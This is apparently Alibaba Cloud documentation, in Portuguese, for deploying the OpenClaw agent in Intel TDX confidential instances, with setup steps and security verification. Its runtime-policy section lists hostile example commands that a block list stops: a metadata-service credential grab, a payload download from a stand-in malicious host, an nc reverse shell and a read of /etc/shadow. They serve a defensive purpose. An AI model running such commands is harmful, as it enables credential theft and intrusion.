Implantação com um clique do OpenClaw confidential AI Agent em instâncias de computação confidencial TDX - Elastic Compute Service: Central de Documentação do Alibaba Cloud

Visão geral da solução

Este tópico descreve a solução Confidential Agent. Ao encapsular o OpenClaw (um AI Agent pessoal de código aberto) em um ambiente de execução confiável Intel TDX (Trust Domain Extensions), a solução utiliza criptografia de memória no nível de hardware, atestação remota, cadeia de suprimentos verificável e acesso criptografado de ponta a ponta. Isso garante que as conversas dos usuários, o estado do Agent e os processos de execução de ferramentas fluam dentro de um limite protegido.

Nesta solução, a API do Alibaba Cloud Model Studio (DashScope) fornece a inferência de modelo. O AI Agent executa dentro do domínio de confiança Intel TDX. A entrada do usuário e o contexto do Agent são montados dentro do limite de memória TDX e, em seguida, o OpenClaw chama a API do Model Studio via HTTPS para inferir o modelo. O histórico de conversas do usuário, a memória de longo prazo do Agent, arquivos SKILL, credenciais de serviço e o estado da plataforma de IM permanecem dentro do domínio de confiança TDX. Essa arquitetura de "Agent confidencial + modelo gerenciado" roda em instâncias TDX de uso geral (sem necessidade de GPU). Comparada à execução local de modelos grandes, ela reduz significativamente as barreiras de implantação e os custos, além de melhorar a escalabilidade.

Nota

Diferentemente da solução de "inferência vLLM na instância" descrita em Criar OpenClaw Confidential AI Agent em instâncias de computação confidencial heterogêneas, esta solução não implanta um serviço de inferência de modelo grande dentro da instância TDX. Os prompts e as respostas de inferência do modelo são enviados para a API do Model Studio via HTTPS. A API do Model Studio é fornecida pelo Alibaba Cloud e cumpre seus compromissos de proteção de dados, mas o conteúdo do prompt sai do limite de criptografia de hardware da instância TDX. Se você exigir que "os dados nunca saiam do TEE" também durante o processo de inferência, utilize a solução de inferência vLLM na instância.

Arquitetura de segurança

Todos os dados principais na implantação do Confidential Agent fluem dentro do limite do TEE (Trusted Execution Environment). Os seguintes ativos são protegidos:

Ativo protegido	Descrição
Privacidade da conversa do usuário	Entrada do usuário, contexto de execução de ferramentas e respostas da IA, que podem conter informações de identificação pessoal, dados médicos, financeiros e outras informações sensíveis.
Memória e estado do Agent	Memória de longo prazo do OpenClaw, configurações e arquivos SKILL, que se acumulam e se tornam alvos de alto valor ao longo do tempo.
Credenciais de serviço	Chave da API Model Studio DashScope, credenciais OAuth do DingTalk e Token do Gateway OpenClaw. O vazamento dessas credenciais pode levar à tomada de controle do serviço ou ao abuso de cota.

A arquitetura de segurança abrange cinco camadas, de baixo para cima: hardware, cadeia de inicialização, runtime, gerenciamento de chaves e comunicação:

Camada de proteção	Mecanismo
Hardware	O Intel TDX criptografa transparentemente toda a memória do Guest OS. A plataforma de nuvem e a máquina host não conseguem ler dados em texto simples.
Cadeia de inicialização	UKI (Unified Kernel Image) e rootfs dm-verity fornecem proteção contra adulteração. As medições da imagem são carregadas no log de transparência Rekor.
Runtime	O `cai-pep` (Policy Enforcement Point) aplica interceptação de políticas para comandos de alto risco, caminhos sensíveis e acesso à rede.
Gerenciamento de chaves	Chaves de criptografia de disco, configurações do OpenClaw, credenciais do DingTalk e chave da API do Model Studio são injetadas somente após a aprovação da atestação remota.
Comunicação	Criptografia de ponta a ponta RATS-TLS. Um canal é estabelecido apenas depois que a atestação remota verifica a identidade da instância. Toda a comunicação é criptografada em trânsito.

Arquitetura de implantação

O processo de implantação ocorre da seguinte forma:

Prepare as credenciais: Exporte o AccessKey do Alibaba Cloud, a chave da API do Model Studio e (opcionalmente) as credenciais do DingTalk na máquina de implantação.
Implante com um clique: Execute o script de implantação com um clique, que instala automaticamente as dependências, cria uma imagem confiável, carrega valores de referência, provisiona recursos de nuvem, realiza a atestação remota e injeta segredos.
Estabeleça o canal criptografado: O script inicia automaticamente um túnel de conexão TNG para estabelecer um canal criptografado RATS-TLS entre a máquina de implantação e a instância TDX.
Acesse o serviço: Acesse o OpenClaw por meio do DingTalk, Web, cliente desktop ou TUI. Todo o tráfego entra na instância TDX pelo canal criptografado RATS-TLS.

Pré-requisitos

O Alibaba Cloud ECS deve estar ativado e a conta precisa ter permissões para criar instâncias de computação confidencial TDX, VPCs, vSwitches, grupos de segurança, buckets OSS e imagens personalizadas.
Uma instância ECS Alibaba Cloud Linux 3 preparada como máquina de implantação, com pelo menos 80 GB de espaço em disco disponível.

Importante
A máquina de implantação serve apenas para operações de compilação e implantação. O script com um clique cria automaticamente uma nova instância de computação confidencial TDX para executar o serviço OpenClaw. A própria máquina de implantação não precisa ser uma instância TDX.
Credenciais de acesso ao Alibaba Cloud obtidas. Recomendamos o uso de usuários RAM com privilégio mínimo, funções RAM ou credenciais temporárias STS em vez de armazenar pares de AccessKey da conta principal por longo prazo.
Alibaba Cloud Model Studio ativado e chave da API DashScope obtida.
(Opcional) Caso deseje usar a integração com DingTalk, crie uma aplicação empresarial interna do DingTalk e obtenha o Client ID e o Client Secret.
A máquina de implantação deve ter acesso à Internet para baixar código-fonte, pacotes do sistema, Node.js, pacotes npm, log de transparência Rekor e OpenAPI do Alibaba Cloud.

Procedimento

Nota

Este tópico utiliza o tipo de instância ecs.g9i.xlarge, a região cn-beijing e a zona cn-beijing-i como configuração padrão.

Etapa 1: Preparar credenciais

O script de implantação com um clique requer o AccessKey do Alibaba Cloud para criar recursos de nuvem (instâncias ECS, VPCs, grupos de segurança, etc.) e a chave da API do Model Studio para fornecer capacidades de inferência de modelo ao OpenClaw. Execute os seguintes comandos na máquina de implantação para exportar as credenciais como variáveis de ambiente.

export ALICLOUD_ACCESS_KEY="<YOUR_ACCESS_KEY>"
export ALICLOUD_SECRET_KEY="<YOUR_SECRET_KEY>"
export DASHSCOPE_API_KEY="<YOUR_DASHSCOPE_API_KEY>"

Substitua os placeholders nos comandos acima pelos valores reais. A tabela a seguir descreve os parâmetros.

Placeholder	Descrição	Como obter
`<YOUR_ACCESS_KEY>`	AccessKey ID do Alibaba Cloud	Consulte Criar um par de AccessKey.
`<YOUR_SECRET_KEY>`	AccessKey Secret do Alibaba Cloud	Gerado juntamente com o AccessKey ID.
`<YOUR_DASHSCOPE_API_KEY>`	Chave da API Model Studio DashScope	Obtenha no console do Model Studio.

Importante

Recomendamos o uso de usuários RAM com privilégio mínimo ou credenciais temporárias STS em vez de armazenar pares de AccessKey da conta principal por longo prazo.

Para ativar a integração com DingTalk, execute os seguintes comandos:

export DINGTALK_BOT_CLIENT_ID="<YOUR_DINGTALK_CLIENT_ID>"
export DINGTALK_BOT_CLIENT_SECRET="<YOUR_DINGTALK_CLIENT_SECRET>"

Os placeholders <YOUR_DINGTALK_CLIENT_ID> e <YOUR_DINGTALK_CLIENT_SECRET> correspondem ao Client ID e Client Secret da sua aplicação empresarial interna do DingTalk. Obtenha-os no Portal do Desenvolvedor DingTalk após criar a aplicação.

Etapa 2: Executar a implantação com um clique

Execute o seguinte comando na máquina de implantação para iniciar a implantação interativa:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh

Por padrão, o script entra em modo interativo e solicita credenciais ausentes do Alibaba Cloud, chave da API do Model Studio, credenciais do DingTalk, Token do Gateway OpenClaw e CIDR do operador. As configurações padrão comuns estão listadas abaixo:

Item de configuração	Valor padrão	Descrição
Região	`cn-beijing`	Região do Alibaba Cloud.
Zona	`cn-beijing-i`	Zona que suporta tipos de instância TDX.
Tipo de instância	`ecs.g9i.xlarge`	Tipo de instância TDX padrão.
Disco do sistema	`200G`	Espaço em disco necessário para a imagem OpenClaw e estado de runtime.
Versão do OpenClaw	`2026.5.7`	Versão do OpenClaw.
Versão do Node.js	`22.19.0`	Versão do Node.js para o runtime do OpenClaw.
Registro npm	`https://registry.npmmirror.com/`	Registro npm usado para compilar a imagem do OpenClaw.
Valor de referência	`rekor`	Após a compilação, os valores de referência são carregados no Rekor e usados para verificação durante a implantação.
Diretório de estado	`$HOME/.confidential-agent`	Diretório para estado local, chaves, Terraform e artefatos de compilação.

O script com um clique detecta automaticamente o IP público da máquina de implantação e solicita o CIDR de acesso do operador no modo interativo:

Opção	Descrição	Cenário aplicável
IP público da máquina de implantação `/32`	Apenas a máquina de implantação atual pode acessar o plano de controle, APIs de status, SSH de depuração e portas de conexão.	Recomendado por padrão. Adequado para produção e testes.
`0.0.0.0/0`	Todas as origens IPv4 podem acessar as portas expostas ao operador.	Demonstrações temporárias ou ambientes de rede controlados.

Importante

O uso de 0.0.0.0/0 aumenta a superfície de ataque. Por padrão, o OpenClaw desativa a autenticação de dispositivo e o plano de controle depende exclusivamente da autenticação por Gateway Token. Ao utilizar 0.0.0.0/0, trate o Token como uma credencial altamente sensível. Em ambientes de produção, restrinja o acesso a IPs públicos específicos ou CIDRs de saída corporativos.

Exemplo de implantação não interativa:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- deploy-openclaw \
  --non-interactive \
  --yes \
  --region cn-beijing \
  --zone-id cn-beijing-i \
  --instance-type ecs.g9i.xlarge \
  --disk-gb 200 \
  --enable-dingtalk

Para instalar apenas dependências locais e compilar a imagem dos componentes e ferramentas do Confidential Agent sem criar recursos de nuvem, execute o seguinte comando:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- install-only

Exemplo de especificação de CIDR não interativa:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- deploy-openclaw \
  --non-interactive \
  --yes \
  --allowed-cidr 203.0.113.10/32

Etapa 3: Aguardar a implantação e confirmar

O script executa automaticamente as seguintes ações:

Instala as dependências da máquina de implantação.
Compila confidential-agent, confidential-agentd e cai-pep, e instala o confidential-agent em /usr/local/bin.
Compila confidential-agent-tools:latest e instala a CLI do OpenClaw correspondente à versão da imagem na máquina de implantação.
Cria a imagem confiável do OpenClaw com FDE, dm-verity e UKI ativados.
Carrega os valores de referência da imagem no log de transparência Rekor.
Cria recursos do Alibaba Cloud e inicia a instância ECS TDX.
Após a aprovação da atestação remota, injeta as configurações do OpenClaw, a chave da API do Model Studio, as credenciais do DingTalk e o Gateway Token.
Inicia o túnel de conexão TNG local e realiza verificações de acessibilidade web, sondagem WebSocket do Gateway e sondagem de chat. A sondagem de chat usa uma resposta real da API do Model Studio como confirmação de disponibilidade de ponta a ponta.

Após a implantação bem-sucedida, o script gera informações semelhantes às seguintes:

Confidential Agent one-click summary
  state_dir: /root/.confidential-agent
  work_dir:  /root/.confidential-agent/one-click
  service:   openclaw
  region:    cn-beijing
  zone_id:   cn-beijing-i
  instance:  ecs.g9i.xlarge
  cidr:      203.0.113.10/32
  dingtalk:  1
  token:     <generated-or-provided-token>
  web:       http://127.0.0.1:18789/openclaw
  ws/api:    ws://127.0.0.1:18789
  tui:       openclaw tui --url ws://127.0.0.1:18789 --token "<generated-or-provided-token>"

Nota

O Gateway Token é salvo em $HOME/.confidential-agent/one-click/secrets/gateway.token. Execuções subsequentes reutilizam o mesmo Token. Para rotacionar o token, exclua este arquivo e execute o script novamente.

Etapa 4: Acessar o serviço OpenClaw

Com o serviço pronto, acesse o OpenClaw por meio dos quatro métodos abaixo. Todo o tráfego entra na instância TDX pelo canal TNG RATS-TLS.

Método 1: Chat do DingTalk

Localize o bot configurado no DingTalk e envie uma mensagem para iniciar uma conversa com o OpenClaw.

Método 2: Navegador Web

Se o navegador estiver rodando na máquina de implantação, acesse diretamente a seguinte URL:

http://127.0.0.1:18789/openclaw

Caso o navegador esteja em um computador pessoal, execute primeiro o seguinte comando nesse computador para estabelecer o encaminhamento de porta SSH:

ssh -L 18789:127.0.0.1:18789 root@<DEPLOY_MACHINE_PUBLIC_IP>

Onde <DEPLOY_MACHINE_PUBLIC_IP> é o endereço IP público da máquina de implantação.

Em seguida, acesse http://127.0.0.1:18789/openclaw no navegador e insira o Gateway Token obtido na Etapa 3.

Método 3: Cliente desktop OpenClaw

Instale o cliente desktop do OpenClaw em um computador pessoal e configure o modo Remote:

Item de configuração	Valor
Server URL	`ws://127.0.0.1:18789`
Token	O Gateway Token da Etapa 3

Se o cliente desktop não estiver rodando na máquina de implantação, estabeleça primeiro o encaminhamento de porta SSH:

ssh -L 18789:127.0.0.1:18789 root@<DEPLOY_MACHINE_PUBLIC_IP>

Onde <DEPLOY_MACHINE_PUBLIC_IP> é o endereço IP público da máquina de implantação.

Método 4: TUI do OpenClaw

O script com um clique instala a CLI do OpenClaw correspondente à imagem de nuvem na máquina de implantação. Execute o seguinte comando para iniciar a TUI:

openclaw tui --url ws://127.0.0.1:18789 --token <YOUR_GATEWAY_TOKEN>

Onde <YOUR_GATEWAY_TOKEN> é o Gateway Token exibido após a implantação na Etapa 3.

Nota

Ao conectar via TUI pela primeira vez, se pairing required for exibido, acesse http://127.0.0.1:18789/openclaw em um navegador, localize o dispositivo pendente na página do nó, clique em Approve e retorne à TUI.

Etapa 5 (Opcional): Liberar recursos

Quando o serviço não for mais necessário, execute o seguinte comando na máquina de implantação para liberar os recursos de nuvem:

curl -fsSL https://raw.githubusercontent.com/inclavare-containers/confidential-agent/one-click/one-click/install.sh | sh -s -- cleanup \
  --state-dir "$HOME/.confidential-agent"

Aviso

A operação de limpeza é irreversível. Ela exclui instâncias ECS, imagens personalizadas, objetos OSS, grupos de segurança, VPCs, vSwitches e outros recursos de nuvem. Certifique-se de que não precisa mais dos dados na instância antes de executar este comando.

Verificação de segurança

Verificar o ambiente de execução confiável

O OpenClaw possui uma habilidade integrada tdx-remote-attestation. Ao receber perguntas relacionadas à segurança, ele aciona automaticamente a atestação remota para verificar o status de segurança do ambiente de execução atual.

Método de acionamento: Faça perguntas relacionadas à segurança no DingTalk, Web ou TUI, como "Meus dados estão seguros?", "Este ambiente é confiável?" ou "Verifique o ambiente de execução TDX atual."

Conteúdo retornado:

Item de verificação	Descrição
Status de confiança do hardware	Um valor de hardware igual ou inferior a 32 indica aprovação na verificação
Tipo de TEE	Domínio de Confiança Intel TDX
Criptografia de memória	Confirma que o mecanismo de criptografia de memória está ativado
Integridade da cadeia de inicialização UKI	Verificação de consistência das medições dos componentes

Verificar a aplicação de políticas PEP

O cai-pep é um mecanismo de porta de runtime projetado para AI Agents confidenciais. Quando o OpenClaw executa comandos por meio da ferramenta exec, as solicitações passam pelo cai-pep para correspondência de políticas antes de entrarem no sandbox Docker isolado.

O PEP fornece três camadas de proteção:

Interceptação no nível de comando: Bloqueia comandos de alto risco com base em uma lista de bloqueios, como curl, wget, nc, ssh e docker.
Interceptação no nível de caminho: Bloqueia o acesso a caminhos sensíveis, como /etc, /proc, /root e diretórios de configuração do OpenClaw.
Isolamento de rede: O sandbox não tem permissões de rede por padrão, impedindo conexões de saída mesmo que um comando contorne a lista de bloqueios.

Os seguintes comandos são bloqueados pelo PEP:

Tipo	Exemplo de comando	Motivo da interceptação
Acesso à rede	`curl http://169.254.169.254/latest/meta-data/`	Impede vazamento de credenciais por meio do serviço de metadados da nuvem.
Acesso à rede	`wget http://malicious.example.com/payload`	Evita o download de código malicioso externo.
Shell reverso	`nc 10.0.0.99 4444 -e /bin/bash`	O comando `nc` está na lista de bloqueios.
Login remoto	`ssh root@external-host`	Previne acesso não autorizado a sistemas externos.
Operação de container	`docker ps`	Impede a operação de containers do host.
Caminho sensível	`cat /etc/shadow`	O caminho `/etc/shadow` corresponde ao prefixo de caminho sensível.

Por exemplo, quando o Agent tenta executar o seguinte comando para acessar o serviço de metadados da nuvem:

Run: curl http://169.254.169.254/latest/meta-data/

O PEP identifica que curl está na lista de bloqueios de comandos, rejeita imediatamente a solicitação e retorna uma mensagem de negação, prevenindo o vazamento de credenciais.

Verificar a integridade da cadeia de suprimentos

O processo de implantação usa o log de transparência Rekor por padrão para armazenar valores de referência da imagem. Durante a atestação remota, o sistema recupera automaticamente entradas de log do Rekor para verificação. Audite as entradas de log do Rekor por meio dos métodos abaixo para verificar a integridade da cadeia de suprimentos.

Visualizar registros do Rekor

Após a conclusão da compilação, localize os metadados do Rekor no diretório de estado:

find "$HOME/.confidential-agent" -name "*.rekor-meta.json" -print

Cada entrada corresponde a uma proveniência SLSA, contendo o índice do log e a URL da entrada. Exemplo de log de upload do Rekor gerado pelo script com um clique:

Created entry at index 1205944956, available at: https://rekor.sigstore.dev/api/v1/log/entries/<uuid>

Verificar prova de inclusão

Uma prova de inclusão verifica se a entrada que registra os valores de referência da imagem realmente existe na Raiz Merkle do Rekor.

rekor-cli verify --log-index 1205944956 --rekor_server https://rekor.sigstore.dev

Se a saída contiver dois valores de hash idênticos, a verificação foi bem-sucedida:

Computed Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090
Expected Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090

Verificar prova de consistência

Uma prova de consistência verifica se uma Raiz Merkle mais antiga (Raiz A) é um prefixo ou estado histórico de uma Raiz Merkle mais recente (Raiz B), garantindo que as entradas de valores de referência armazenadas no Rekor não foram excluídas ou modificadas.

rekor-cli loginfo --rekor_server https://rekor.sigstore.dev

Se a saída contiver o seguinte conteúdo, a verificação foi bem-sucedida:

Verification Successful!

Notas de uso

Regras de grupo de segurança

As regras de grupo de segurança são criadas automaticamente durante a implantação com um clique. Se precisar modificá-las posteriormente, certifique-se de manter as seguintes portas:

Porta	Protocolo	Descrição	Recomendação
22	TCP	Gerenciamento remoto SSH (apenas imagem Debug)	Restrinja os IPs de origem à rede de gerenciamento.
18789	TCP	Endpoint de túnel TNG (RATS-TLS) para acessar o serviço OpenClaw	Restrinja os IPs de origem ou acesse apenas por meio do TNG.

Importante

O CIDR padrão do operador é o IP público da máquina de implantação com /32. Se você especificar manualmente 0.0.0.0/0, reduza o risco de exposição do token e altere para um IP público específico ou CIDR de saída corporativo em ambientes de produção.

Chave da API do Model Studio e cota

A chave da API do Model Studio determina os modelos e cotas disponíveis para a instância. Recomendações:

Utilize uma chave de API com a cota mínima necessária. Evite usar uma chave da conta principal.
Faça a rotação periódica após a injeção: exclua secrets/gateway.token, reexporte DASHSCOPE_API_KEY e execute novamente o script com um clique.
Use o recurso de auditoria de acesso no console do Model Studio para configurar alertas sobre volumes anormais de chamadas.

Perguntas frequentes

peering 'ops' already exists with a different CIDR

Causa: Já existe um peering de operador com um CIDR diferente no diretório de estado atual.

Solução: Passe --allowed-cidr correspondente ao peering existente, confirme a substituição no modo interativo ou adicione --yes no modo não interativo.

Shelter is required ou SLSA generator is required

Causa: O Shelter não está instalado na máquina de implantação ou o modo Rekor não consegue encontrar o gerador SLSA.

Solução:

Verifique se shelter-*.rpm existe no diretório hack/ ou especifique o caminho do RPM com --shelter-rpm.
Reinstale o RPM do Shelter e verifique se /usr/libexec/shelter/slsa/slsa-generator existe.
Apenas para desenvolvimento e testes locais, use --reference-values sample para pular o processo do Rekor.

Web port is inaccessible

Causa e solução de problemas:

Verifique o connect.log: tail -F "$HOME/.confidential-agent/one-click/connect.log".
Confirme se o grupo de segurança da instância ECS permite os peerings de operador ops e deployer.
Se o IP público da máquina de implantação mudou, execute novamente o script com um clique ou rode peering remove deployer e adicione um novo peering deployer com o novo IP.

Chat probe failed

Causa: Como a inferência nesta solução é realizada pela API do Model Studio, falhas na sondagem de chat geralmente estão relacionadas às configurações do Model Studio.

Solução:

Verifique se DASHSCOPE_API_KEY está correta e ativa.
Verifique no console do Model Studio se o modelo selecionado está disponível e sem pendências financeiras.
Faça login no guest via SSH de depuração e verifique os logs do gateway OpenClaw.

DingTalk not responding

Causa e solução de problemas:

Verifique se --enable-dingtalk foi passado durante a implantação ou se o DingTalk foi ativado no modo interativo.
Verifique se openclaw status no guest mostra o canal DingTalk como ON.
Analise journalctl -u cai-openclaw-gateway.service -n 200 --no-pager em busca de erros de conexão dingtalk. Se aparecer HTTP 401, verifique se o Client ID e o Client Secret do DingTalk correspondem aos da Plataforma Aberta do DingTalk.
Confirme se a aplicação DingTalk possui as permissões necessárias para enviar e receber mensagens.

cai-pep rejects all tool calls

Causa: Configuração anormal da política PEP ou o serviço não iniciou corretamente.

Solução: Após implantar com a imagem Debug, faça login na instância TDX via SSH e verifique os logs do cai-pep para identificar motivos específicos de interceptação:

journalctl -u cai-pep.service -n 200 --no-pager

Referências

Criar OpenClaw Confidential AI Agent em instâncias de computação confidencial heterogêneas